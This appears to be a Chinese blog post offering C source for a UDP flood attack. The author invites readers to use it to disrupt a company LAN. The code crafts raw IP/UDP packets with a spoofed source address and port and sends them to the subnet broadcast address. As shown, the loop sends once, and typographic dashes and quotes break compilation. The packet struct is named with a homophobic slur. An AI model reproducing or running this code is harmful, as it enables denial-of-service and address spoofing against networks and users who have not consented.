简单的udp攻击_udp flood攻击

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由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.

我是在ubuntu8.04下的,需要gcc编译.

这个也添加了广播,整个网段的人都能收到了

#include <stdio.h>

#include <sys/socket.h>

#include <unistd.h>

#include <netinet/ip.h> //ip

#include <netinet/udp.h> //tcp

#include <stdlib.h>

#include<netinet/in.h>

unsigned short ip_sum(unsigned short *addrr2, int len2) {

register unsigned short *addrr = addrr2;

register int len = len2;

register int sum = 0;

unsigned short answer = 0;

while (len > 1) {

sum += *addrr++;

len -= 2;

}

if (len == 1) {

*(unsigned char *) (&answer) = *(unsigned char *) addrr;

sum += answer;

}

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

answer = ~sum;

return (answer);

}

unsigned short cksum(short * buf, int nwords) {

unsigned long sum;

for (sum = 0; nwords > 0; nwords–)

sum += *buf++;

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

return ~sum;

}

int main(int argc, char *argv[]) {

int sock, size, bytes_send, psize;

psize = 0;

struct sockaddr_in sin;

struct {

struct ip iphead;

struct udphdr udphead;

unsigned char evil[];

} faggot;

size = sizeof(struct ip) + sizeof(struct udphdr) + 1 + psize;

printf(“create socket\r\n”);

sin.sin_family = AF_INET;

sin.sin_addr.s_addr = inet_addr(“192.168.0.255”); //被攻击者ip

sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &size, sizeof(size)) < 0) {

printf(“2”);

perror(“IP_HDRINCL”);

exit(1);

}

const int on = 1;//设定常量，用于打开广播模式

//设定该接口上的广播模式

if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) {

printf(“2”);

perror(“IP_HDRINCL”);

exit(1);

}

faggot.evil[psize] = ‘\0’;

printf(“create iphead\r\n”);

faggot.iphead.ip_v = 4;

faggot.iphead.ip_hl = 5;

faggot.iphead.ip_tos = 0x00;

faggot.iphead.ip_len = size;

faggot.iphead.ip_id = 1025;

faggot.iphead.ip_off = 0;

faggot.iphead.ip_ttl = 201;

faggot.iphead.ip_p = IPPROTO_UDP;

faggot.iphead.ip_sum = 0;

inet_aton(“192.168.0.157”, &faggot.iphead.ip_src);//假冒ip

inet_aton(“192.168.0.255”, &faggot.iphead.ip_dst);//被攻击者ip

printf(“create udphead\r\n”);

faggot.udphead.source = htons(12345);//假冒端口

faggot.udphead.dest = htons(80);//被攻击者端口

faggot.udphead.len = htons(sizeof(faggot.udphead) + 1 + psize);

faggot.iphead.ip_sum = ip_sum((short *) &(faggot.iphead), sizeof(faggot.iphead));

faggot.udphead.check = cksum((short *) &(faggot.udphead), size >> 1);

printf(“start send\r\n”);

int i = 1;

while (i > 0) {

bytes_send = sendto(sock, &faggot, size, 0, (struct sockaddr *) &sin, sizeof(sin));

i–;

// if (bytes_send > 0) {

// i++;

// printf(“第%d次OK bytes_send udp %d \n”, i, bytes_send);

// }

}

printf(“end send\r\n”);

}